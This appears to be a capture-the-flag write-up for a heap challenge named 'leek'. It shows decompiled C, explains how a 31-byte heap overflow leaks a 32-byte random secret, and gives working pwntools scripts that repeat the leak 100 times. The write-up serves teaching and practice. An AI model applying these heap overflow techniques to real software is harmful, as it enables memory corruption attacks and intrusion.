voidinput(void*user_input){size_t buffer_len;long in_FS_OFFSET;char buffer [1288];long canary; canary =*(long*)(in_FS_OFFSET +0x28);fgets(buffer,1280,stdin); buffer_len =strlen(buffer);memcpy(user_input,buffer,buffer_len);if (canary !=*(long*)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }return;}voidmain(void){__gid_t __rgid;int iVar1;time_t tVar2;char*userinput_chunk;char*random_chunk;long in_FS_OFFSET;int count;int i;char buffer [40];long canary; canary =*(long*)(in_FS_OFFSET +0x28); tVar2 =time((time_t*)0x0);srand((uint)tVar2);setbuf(stdout,(char*)0x0);setbuf(stdin,(char*)0x0); __rgid =getegid();setresgid(__rgid,__rgid,__rgid);puts("I dare you to leek my secret."); count =0;while( true ) {if (99< count) {puts("Looks like you made it through.");win();if (canary !=*(long*)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }return; } userinput_chunk = (char*)malloc(16); random_chunk = (char*)malloc(32);memset(random_chunk,0,32);getrandom(random_chunk,32,0);for (i =0; i <32; i = i +1) {if ((random_chunk[i] =='\0') || (random_chunk[i] =='\n')) { random_chunk[i] ='\x01'; } }printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");input(userinput_chunk);printf(":skull::skull::skull: bro really said: ");puts(userinput_chunk);printf("So? What\'s my secret? ");fgets(buffer,33,stdin); iVar1 =strncmp(random_chunk,buffer,32);if (iVar1 !=0) break;puts("Okay, I\'ll give you a reward for guessing it.");printf("Say what you want: ");gets(userinput_chunk);puts("Hmm... I changed my mind.");free(random_chunk);free(userinput_chunk);puts("Next round!"); count = count +1; }puts("Wrong!");exit(-1);}
A chunk of 32 random bytes is created and we need to supply the matching bytes.
Do that 100 times, and we get the flag.
If we send 31 bytes, the output is leaked!
./leekIdareyoutoleekmysecret.Yourinput (NO STACKBUFFEROVERFLOWS!!): aaaabaaacaaadaaaeaaafaaagaaahaaa:skull::skull::skull:broreallysaid:aaaabaaacaaadaaaeaaafaaagaaahaaa��`W;57r';I=׎�͇�t�. Ux+�<�
exploit.py
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinue'''.format(**locals())# Binary filenameexe ='./leek'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Start programio =start()# Send 31 bytes of random dataio.sendlineafter(b'):', cyclic(31))io.recvline()# Grab the secretsecret = io.recvline().strip()io.sendafter(b'What\'s my secret?', secret)io.sendlineafter(b'Say what you want:', b'B'*24)# Got Shell?io.interactive()
The secret comparison works but we get a corrupt pointer error when the random_chunk is freed.
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Size of previous chunk,ifunallocated (P clear)|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Size of chunk,inbytes|A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| User data starts here... .... (malloc_usable_size()bytes) ..|nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| (size of chunk, but used for application data) |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Size of next chunk,inbytes|A|0|1|+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Setup a breakpoint after both chunks were created (break *0x4015e2) and check the heap:
To do that, we supply 0x00 * 24 into the userinput_chunk which fills up 0x234d2a0 until we reach the size of the next chunk, where we write 0x31 while being careful to ensure correct padding, e.g. 0x31 + (0x00 * 6).
Solution
TLDR; when we supply 31 bytes into our 16 byte userinput_chunk, we merge the chunks so that when our chunk is printed back to us, we also get the random data.
After supplying the secret, we need to repair the heap layout (fix the size of the random data chunk), ready for the next loop.
solve.py
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgbreak *0x4015e2break *0x4016b5heapcontinue'''.format(**locals())# Binary filenameexe ='./leek'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Start programio =start()for i inrange(100):# Chunk is 16 bytes, then 8 bytes size of chunk, then the size of next chunk# Send 31 bytes of data is just enough to overwrite size of next chunk (secret data) io.sendlineafter(b'):', cyclic(31)) io.recvline()# Now, when it prints out userinput_chunk, it prints the merged chunk (leak secret) secret = io.recvline()[0:32]# Send the secret io.sendafter(b'What\'s my secret?', secret)# Fix the chunk (we need to repair it for the next iteration) io.sendlineafter(b'Say what you want:', (b'\x00'*24) +b'\x31'+ (b'\x00'*6))# Got Shell?io.interactive()